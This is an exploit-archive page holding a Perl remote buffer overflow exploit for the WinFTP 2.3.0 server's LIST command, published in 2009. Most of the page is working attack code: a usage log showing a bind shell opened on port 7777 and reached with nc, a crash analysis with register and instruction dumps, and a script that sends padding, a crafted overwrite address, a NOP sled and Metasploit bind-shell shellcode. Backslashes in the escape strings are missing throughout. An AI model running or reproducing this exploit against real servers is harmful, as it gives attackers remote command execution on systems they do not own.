[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : WinFTP 2.3.0 (LIST) Remote Buffer Overflow Exploit (post-auth)
# Published : 2009-01-26
# Author : joe walko
# Previous Title : NCTVideoStudio ActiveX DLLs 1.6 Insecure Method File Creation Exploit
# Next Title : Siemens ADSL SL2-141 CSRF Exploit
#!/usr/bin/perl
#
# WinFTP 2.3.0 post-auth remote exploit. (www.wftpserver.com)
#
################################################################################
# #
# root@halcyon:~/Exploits/WinFTP# perl winftp-remote.pl #
# #
# Usage: winftp-remote.pl <host> <username> <password> <target> #
# #
# Target: 1 -> Win2k #
# Target: 2 -> WinXP sp2/3 (DoS only) #
# #
# root@halcyon:~/Exploits/WinFTP# perl winftp-remote.pl 10.0.0.5 user1 pass1 1 #
# #
# [=] Connected. #
# [=] Sending user user1 #
# [=] Sending pass pass1 #
# [=] Sending payload... #
# [=] Done. You should have a command shell on port 7777. #
# #
# root@halcyon:~/Exploits/WinFTP# nc 10.0.0.5 7777 #
# Microsoft Windows 2000 [Version 5.00.2195] #
# (C) Copyright 1985-1999 Microsoft Corp. #
# #
# C:Program FilesWinFTP Server> #
# #
################################################################################
#
# Quick description of the exploit:
#
# There is a post-auth bug in WFTPSRV.exe (2.3.0), in the handling of the LIST
# command. This appears to be different from the previous vuln found in
# the handling of the NLIST command. Providing the server with
# "LIST *<long string here>" results in an arbitrary memory overwrite
# vulnerability. Note that simply giving LIST a long string won't trigger
# the vuln. At least in my testing, the asterisk was necessary to force
# WFTPSRV.exe to process the long string, which clobbers various stored
# addresses, providing an opportunity for an arbitrary DWORD overwrite.
# So exploitation goes like this:
#
# format string vuln -> overflow -> arbitrary memory overwrite -> EIP control
#
# On Win2k, the error is:
# "The instruction at 0x77fc9906 referenced memory at
# 0x88776655. The memory could not be "written".
#
# Which is what we want to see in order to control an arbitrary DWORD.
# At this point our registers look like:
#
# EAX 010922E0
# ECX 0275FC14
# EDX 88776655
# EBX 00000028
# ESP 0275F688
# EBP 0275F81C
# ESI 00F90000
# EDI 00F90378
# EIP 77FC9906 ntdll.77FC9906
#
# Instructions look like:
#
# 77FC98F4 8B48 08 MOV ECX,DWORD PTR DS:[EAX+8]
# 77FC98F7 898D 38FFFFFF MOV DWORD PTR SS:[EBP-C8],ECX
# 77FC98FD 8B50 0C MOV EDX,DWORD PTR DS:[EAX+C]
# 77FC9900 8995 34FFFFFF MOV DWORD PTR SS:[EBP-CC],EDX
# 77FC9906 890A MOV DWORD PTR DS:[EDX],ECX
# 77FC9908 8951 04 MOV DWORD PTR DS:[ECX+4],EDX
#
# Under normal conditions EDX and ECX contain pointers located
# in the data segment. However, after exploitation we control
# EDX (where to write), and ECX (what to write). From here,
# we load EDX with (almost) any old return address on our stack,
# and ECX with a pointer to our shellcode.
#
# Note: This is *not* a predictable vuln. I noticed even changing
# the filename of the binary causes the offsets to change.
# Please experiment on your own. Let me know if you manage to
# get it working under WinXP SP2.
# joewalko@gmail.com
use IO::Socket;
if (@ARGV < 2) {
print "nUsage: $0 <host> <username> <password> <target>nn";
print "Target: 1 -> Win2kn";
print "Target: 2 -> WinXP sp2/3 (DoS only)nn";
exit;
};
$host = $ARGV[0];
$username = $ARGV[1];
$password = $ARGV[2];
$port = 21;
$list = "x4cx49x53x54x20x2a";
$padding = "x41" x 272;
$sock = new IO::Socket::INET
(
PeerAddr=> "$host",
PeerPort=> "$port",
Proto => 'tcp'
);
die "Connection failed: $!nn" unless $sock;
$user_string = "user $usernamern";
$pass_string = "pass $passwordrn";
$port_string = "PORT 10,0,0,1,154,119rn"; # Source host doesn't matter.
$address2k = "x74xf8x74x02". # <- This needs to contain any
# readable address, or we
# immediately cause an exception.
"x14xfcx75x02". # <- This will become EIP. It points
# to our shellcode.
"x74xf8x75x02"; # <- This specifies what DWORD to overwrite.
# YMMV here. I picked an arbitrary
# return address on the stack located
# near where ESP was during
# the exception. On my system this
# is:
#
# 0275F874 73D34154 RETURN to MFC42.73D34154
$nopsled = "x90" x 2228;
# Metasploit win32_bind, EXITFUNC=process LPORT=7777
$shellcode =
"x2bxc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13x10".
"x92xe9xd3x83xebxfcxe2xf4xecxf8x02x9exf8x6bx16x2c".
"xefxf2x62xbfx34xb6x62x96x2cx19x95xd6x68x93x06x58".
"x5fx8ax62x8cx30x93x02x9ax9bxa6x62xd2xfexa3x29x4a".
"xbcx16x29xa7x17x53x23xdex11x50x02x27x2bxc6xcdxfb".
"x65x77x62x8cx34x93x02xb5x9bx9exa2x58x4fx8exe8x38".
"x13xbex62x5ax7cxb6xf5xb2xd3xa3x32xb7x9bxd1xd9x58".
"x50x9ex62xa3x0cx3fx62x93x18xccx81x5dx5ex9cx05x83".
"xefx44x8fx80x76xfaxdaxe1x78xe5x9axe1x4fxc6x16x03".
"x78x59x04x2fx2bxc2x16x05x4fx1bx0cxb5x91x7fxe1xd1".
"x45xf8xebx2cxc0xfax30xdaxe5x3fxbex2cxc6xc1xbax80".
"x43xc1xaax80x53xc1x16x03x76xfaxf7xb2x76xc1x60x32".
"x85xfax4dxc9x60x55xbex2cxc6xf8xf9x82x45x6dx39xbb".
"xb4x3fxc7x3ax47x6dx3fx80x45x6dx39xbbxf5xdbx6fx9a".
"x47x6dx3fx83x44xc6xbcx2cxc0x01x81x34x69x54x90x84".
"xefx44xbcx2cxc0xf4x83xb7x76xfax8axbex99x77x83x83".
"x49xbbx25x5axf7xf8xadx5axf2xa3x29x20xbax6cxabxfe".
"xeexd0xc5x40x9dxe8xd1x78xbbx39x81xa1xeex21xffx2c".
"x65xd6x16x05x4bxc5xbbx82x41xc3x83xd2x41xc3xbcx82".
"xefx42x81x7exc9x97x27x80xefx44x83x2cxefxa5x16x03".
"x9bxc5x15x50xd4xf6x16x05x42x6dx39xbbxe0x18xedx8c".
"x43x6dx3fx2cxc0x92xe9xd3x0dx0a";
if ($ARGV[3] == '1')
{
$payload = $list.$padding.$address2k.$nopsled.$shellcode;
}
elsif ($ARGV[3] == '2')
{
$payload = $list.$padding.$address2k.$nopsled.$shellcode;
}
else
{
$payload = $list.$padding.$address2k.$nopsled.$shellcode;
}
print "n[=] Connected.n";
sleep 1;
print "[=] Sending $user_string";
$sock->send($user_string);
sleep 1;
print "[=] Sending $pass_string";
$sock->send($pass_string);
sleep 1;
$sock->send($port_string);
sleep 1;
print "[=] Sending payload...n";
$sock->send($payload);
sleep 1;
if ($ARGV[3] == '1')
{
print "[=] Done. You should have a command shell on port 7777.nn";
}
elsif ($ARGV[3] == '2')
{
print "[=] Done. WinFTP should be crashed on the remote host.nn";
}
else
{
print "[=] Done.nn";
}
# www.Syue.com [2009-01-26]